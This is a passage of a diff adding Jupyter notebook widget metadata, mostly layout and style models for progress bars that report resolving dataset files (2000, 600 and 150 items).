+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "38389509624645cf977798472b81886c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_7814affd5f7c4d37922f6729bd43e80e",
+              "IPY_MODEL_b50f4aafb0b04804996bc53c470abec7",
+              "IPY_MODEL_3858fb5541764508a41a4ad515b4a8ed"
+            ],
+            "layout": "IPY_MODEL_0c45f0e8448843eb924ae8c30f596b48"
+          }
+        },
+        "7814affd5f7c4d37922f6729bd43e80e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c964271a79a54d15b592d9d112e30ee4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9da2abd12ac948faab8e5eb33a4f2dcc",
+            "value": "Resolving data files: 100%"
+          }
+        },
+        "b50f4aafb0b04804996bc53c470abec7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_64be2fb177104b59b448e44f0b556132",
+            "max": 2000,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1654fb11f5be495395999ad6a6c31ebb",
+            "value": 2000
+          }
+        },
+        "3858fb5541764508a41a4ad515b4a8ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b9ba1b7fc4d44b5f953ee60193de735a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2e6f253fc8e9450fad110fc47510c111",
+            "value": " 2000/2000 [00:00&lt;00:00, 25298.90it/s]"
+          }
+        },
+        "0c45f0e8448843eb924ae8c30f596b48": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c964271a79a54d15b592d9d112e30ee4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9da2abd12ac948faab8e5eb33a4f2dcc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "64be2fb177104b59b448e44f0b556132": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1654fb11f5be495395999ad6a6c31ebb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "b9ba1b7fc4d44b5f953ee60193de735a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2e6f253fc8e9450fad110fc47510c111": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e9657262a4714ecf8884f6354f32c6a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f503ed30c9ed4b1a84e3b3110f5671c8",
+              "IPY_MODEL_e089f32f5c0e40989a6f036ed8df44a3",
+              "IPY_MODEL_a5ca7aa6e2d1434ba84e75555806f79b"
+            ],
+            "layout": "IPY_MODEL_fc3dd9a26c044045949264eaa26da93f"
+          }
+        },
+        "f503ed30c9ed4b1a84e3b3110f5671c8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ae9cfa0636354fd3a663f80c022c0b38",
+            "placeholder": "​",
+            "style": "IPY_MODEL_137a450619fc4630b7754d3539908288",
+            "value": "Resolving data files: 100%"
+          }
+        },
+        "e089f32f5c0e40989a6f036ed8df44a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c00d60b00d2f4d22be325af0cb10b234",
+            "max": 600,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c9518d498ce54f2c9bafde7914ddc51b",
+            "value": 600
+          }
+        },
+        "a5ca7aa6e2d1434ba84e75555806f79b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ec62031c9a6240069a52da7354173622",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4706d251c340427ebb468e4d8a333031",
+            "value": " 600/600 [00:00&lt;00:00, 21124.67it/s]"
+          }
+        },
+        "fc3dd9a26c044045949264eaa26da93f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ae9cfa0636354fd3a663f80c022c0b38": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "137a450619fc4630b7754d3539908288": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c00d60b00d2f4d22be325af0cb10b234": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c9518d498ce54f2c9bafde7914ddc51b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ec62031c9a6240069a52da7354173622": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4706d251c340427ebb468e4d8a333031": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b799085f7ff84b4496a64587066d4645": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b3324a67f18449faaec765ea2248a6d8",
+              "IPY_MODEL_bd77d6d98d0249b3bc99c94d46e7d7a1",
+              "IPY_MODEL_8060cd481cdd4229878a871e9ae411d5"
+            ],
+            "layout": "IPY_MODEL_5a2db2886a72478da3ec0b67f8e88c48"
+          }
+        },
+        "b3324a67f18449faaec765ea2248a6d8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a99e7f4228fb4a8e8589e30677ccde74",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c4f8b2b6f66c4108a12944505952c1ea",
+            "value": "Resolving data files: 100%"
+          }
+        },
+        "bd77d6d98d0249b3bc99c94d46e7d7a1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c069ba18441347d2875a8c366b23c3ff",
+            "max": 150,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_0cafd43406ac46c6b307adb6c36746df",
+            "value": 150
+          }
+        },
+        "8060cd481cdd4229878a871e9ae411d5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_42a4cd25bb6a46a9a3b4fe4b6da96eab",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c02ba744e0414508bc0e24e015c5ef57",
+            "value": " 150/150 [00:00&lt;00:00, 6579.78it/s]"
+          }
+        },
+        "5a2db2886a72478da3ec0b67f8e88c48": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a99e7f4228fb4a8e8589e30677ccde74": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c4f8b2b6f66c4108a12944505952c1ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c069ba18441347d2875a8c366b23c3ff": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0cafd43406ac46c6b307adb6c36746df": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "42a4cd25bb6a46a9a3b4fe4b6da96eab": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c02ba744e0414508bc0e24e015c5ef57": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "017d3b681a1248eeaac5787621356258": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_83c008a35cb24407ae96ac46a6ca4c2a",
+              "IPY_MODEL_4895214231854f0ab17dc98a711772b3",
+              "IPY_MODEL_e34ff62351d8441593698b13d46bc18e"
+            ],
+            "layout": "IPY_MODEL_a66a957b6c15453c8a525bcaf2f2a805"
+          }
+        },
+        "83c008a35cb24407ae96ac46a6ca4c2a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
